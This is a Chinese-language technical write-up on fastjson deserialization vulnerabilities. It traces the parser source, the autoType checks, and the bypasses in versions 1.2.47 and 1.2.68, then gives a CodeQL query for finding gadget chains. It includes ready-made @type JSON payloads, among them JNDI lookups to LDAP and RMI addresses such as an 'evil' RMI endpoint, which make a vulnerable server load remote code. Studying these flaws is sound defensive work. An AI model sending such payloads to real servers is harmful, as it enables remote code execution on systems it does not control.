參考指南 fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org) Java 反序列化漏洞始末(3)— fastjson - 淺藍 's blog (b1ue.cn) 梅子酒の筆記本 (meizjm3i.github.io) fastjson基礎 早期版本的 fastjson ...
參考指南
fastjson:我一路向北,離開有你的季節 | 素十八 (su18.org)
fastjson基礎
早期版本的 fastjson 的框架圖
fastjson 功能要點:
-
fastjson 在創建一個類實例時會通過反射調用類中符合條件的 getter/setter 方法以及構造方法,其中
- getter 方法需滿足條件:方法名長於 4、不是靜態方法、以
get
開頭且第4位是大寫字母、方法不能有參數傳入、繼承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此屬性沒有 setter 方法; - setter 方法需滿足條件:方法名長於 4,以
set
開頭且第4位是大寫字母、非靜態方法、返回類型為 void 或當前類、參數個數為 1 個。具體邏輯在com.alibaba.fastjson.util.JavaBeanInfo.build()
中。 - 構造方法:優先選無參構造,沒有無參構造會選取唯一的構造方法。如有多個構造方法,優先選參數最多的public構造方法。如參數最多的構造方法有多個則隨機選取一個構造方法。如果被實例化的是靜態內部類,也可以忽視修飾。如果被實例化的是非public類,構造方法里的的參數類型仍然可以進一步反序列化
- public field參數類型以及靜態代碼塊;
- getter 方法需滿足條件:方法名長於 4、不是靜態方法、以
-
fastjson 在為類屬性尋找 get/set 方法時,調用函數
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,會忽略_|-
字元串,也就是說哪怕你的欄位名叫_a_g_e_
,getter 方法為getAge()
,fastjson 也可以找得到,在 1.2.36 版本及後續版本還可以支持同時使用_
和-
進行組合混淆。 -
如果目標類中私有變數沒有 setter 方法,但是在反序列化時仍想給這個變數賦值,則需要使用
Feature.SupportNonPublicField
參數。
漏洞分析
早期
經典利用有兩條利用鏈
-
JdbcRowSetImpl(JNDI) (lookup,最常見)
-
TemplatesImpl(Feature.SupportNonPublicField)(jdk7u21的利用鏈觸發方式)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "hello",
"_tfactory": {},
"_outputProperties": {},
}
分析
com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法實例化一個DefaultJSONParser對象並調用parse方法,之後跟進
DefaultJSONParser會初始化lexer進行不同操作,這個 lexer 屬性實際上是在 DefaultJSONParser 對象被實例化的時候創建的,初始化了個JSONScanner對象
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
因為在DefaultJSONParser操作中可明顯看到token為12
public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
}
com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object),
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
這裡new 了一個 JSONObject 對象之後進入parseObject方法
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),檢測json格式,並對下個字元進行判斷。
進行判斷後,獲取@type對應值,之後使用loadClass進行裝載。之後getDeserializer獲取序列化對象,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最終進行對其進行反射調用setter操作執行漏洞代碼;
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}
if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
}
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),只要存在就會緩存到mappings里;
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className); // mappings 里緩存了一些常用的基本類型,com.sun.rowset.JdbcRowSetImpl肯定是不在這裡的
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else { // 最終走到 最後一個else分支里
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className); // 載入類
mappings.put(className, clazz); //將類對象緩存在 mappings 對象
return clazz;
}
} catch (Throwable var5) {
;
}
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}
中期修複
1.2.25版本更新中新增autoTypeSupport預設為false,將不支持指定類的反序列化。並通過checkAutoType函數對載入類進行黑名單+白名單驗證;
獲取類對象的方法由原來的TypeUtils.loadClass替換為了checkAutoType
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
com.alibaba.fastjson.parser.ParserConfig#checkAutoType,
- 如果開啟了 autoType,先判斷類名是否在白名單中,如果在,就使用
TypeUtils.loadClass
載入,然後使用黑名單判斷類名的開頭,如果匹配就拋出異常。 - TypeUtils.mappings 中和 deserializers 中嘗試查找要反序列化的類,存在則return;
- 如果沒開啟 autoType ,則是先使用黑名單匹配,再使用白名單匹配和載入。最後,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了 Class 對象時才會調用
TypeUtils.loadClass
載入。因此中期的相關漏洞基本集中於此;
TypeUtils.loadClass的方法和checkAutoType存在判斷差異導致了繞過;(需要開啟autoType),調用loadClass方法是迴圈調用,並且第二個'['也可以進行繞過
Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;"[com.sun.rowset.JdbcRowSetImpl"[
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
之後再1.2.42中延續之前檢測模式並且將黑名單採用hash方式,避免了反向研究;
還有就是針對loadClass的修補,以及相關黑名單的添加;
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
fastjson-1.2.47
到了1.2.47,出現了部分通殺AutoTypeSupport利用漏洞;
影響版本:1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport
影響版本:1.2.33 <= fastjson <= 1.2.47
POC:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.165.93.31:1090/evil",
"autoCommit":"true"
}
}
以上我們可以看到是解析兩個對象,第一個是java.lang.Class,其不在黑名單,因此checkAutoType會順利通過;
由前文的checkAutoType邏輯可以發現在兩次AutoTypeSupport判斷中間存在緩存讀取的邏輯;而本次的繞過邏輯也主要集中在此;至於影響版本的差異主要是AutoTypeSupport開啟的黑名單判斷中增加了TypeUtils.mappings是否存在該類緩存的判斷。
- deserializers 位於
com.alibaba.fastjson.parser.ParserConfig.deserializers
,是一個 IdentityHashMap;這個map的key為各種Class類型,value為其對應的反序列化處理類。賦值的函數有:getDeserializer()
:這個類用來載入一些特定類,以及有JSONType
註解的類,在 put 之前都有類名及相關信息的判斷,無法為我們所用。initDeserializers()
:無入參,在構造方法中調用,寫死一些認為沒有危害的固定常用類,無法為我們所用。putDeserializer()
:被前兩個函數調用,我們無法控制入參。
- TypeUtils.getClassFromMapping(typeName)。這個方法從
TypeUtils.mappings
中取值,這是一個 ConcurrentHashMap 對象addBaseClassMappings()
:無入參,載入loadClass()
:關鍵函數
關註com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法,這個類主要用於處理特定功能的反序列化類;包括Class.calss類,因此成為入口
com.alibaba.fastjson.serializer.MiscCodec#deserialze
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
因此,當1.2.32之前版本需要AutoTypeSupport為false,才能走到獲取緩存mapping的操作,而33-47的版本因為在AutoTypeSupport第一步檢查中mapping判斷多了一步緩存檢查,導致了繞過;
fastjson-1.2.68
影響版本:fastjson <= 1.2.68
描述:利用 expectClass 繞過 checkAutoType()
,實際上也是為了繞過安全檢查的思路的延伸。主要使用 Throwable
和 AutoCloseable
進行繞過。
47之後進行了修複,cache設置為false,並且loadClass設置為預設調用不緩存。
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}
1.2.68新增了個安全控制點sfaeMode,開啟safeMode表示完全禁用autoType;
在 checkAutoType()
函數中有這樣的邏輯:如果函數有 expectClass
入參,且我們傳入的類名是 expectClass
的子類或實現,並且不在黑名單中,就可以通過 checkAutoType()
的安全檢測。並且會添加入緩存mappings中,進而後續思路就如1.2.47;
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
可控expectClass入參的方法:
ThrowableDeserializer#deserialze()
,需要為Throwable子類JavaBeanDeserializer#deserialze()
AutoCloseable白名單,其子類
展望
codeql利用挖掘fastjson
漏洞分析 | 利用 CodeQL 分析 fastjson 1.2.80 利用鏈-安全客 - 安全資訊平臺 (anquanke.com)
class ThrowableClass extends Class {
ThrowableClass() {
this.getASupertype*().hasQualifiedName("java.lang", "Throwable")
}
}
Field getPublicFieldFromClass(Class cl) {
exists(Field field|
field.getDeclaringType() = cl
and field.getAModifier().getName() = "public"
and result = field
)
}
Parameter getParameterFromConstructor(Class cl) {
exists(Constructor constructor, Parameter p |
constructor = cl.getAConstructor()
and constructor.getNumberOfParameters() = max(int i | cl.getAConstructor().getNumberOfParameters() = i | i)
and p = constructor.getAParameter()
and result = p
)
}
class NewInstaceMethod extends Method {
NewInstaceMethod() {
exists(GenericClass gclass |
this.getName() = "newInstance"
and gclass.getQualifiedName() = "java.lang.reflect.Constructor"
and this.getDeclaringType().getSourceDeclaration() = gclass
)
}
}
query predicate edges(Callable a, Callable b) {
a.polyCalls(b)
}
predicate isExcludeClass(RefType type) {
not (
type.getQualifiedName() in [
"java.lang.Object",
"java.lang.String",
"java.lang.Number",
"java.lang.Integer",
"java.lang.Class"
]
)
}
from ThrowableClass tclass, Class sourceClass, SetterMethod setter, NewInstaceMethod method, Constructor constructor
where (
sourceClass = getPublicFieldFromClass(tclass).getType().(Class)
or (
setter.getDeclaringType() = tclass
and sourceClass = setter.getField().getType().(Class)
)
or sourceClass = getParameterFromConstructor(tclass).getType().(Class)
) and isExcludeClass(sourceClass)
and isExcludeClass(sourceClass.getASubtype*())
and constructor = sourceClass.getASubtype*().getAConstructor()
and edges+(constructor, method)
select constructor, constructor, method, "Fastjson Gadget"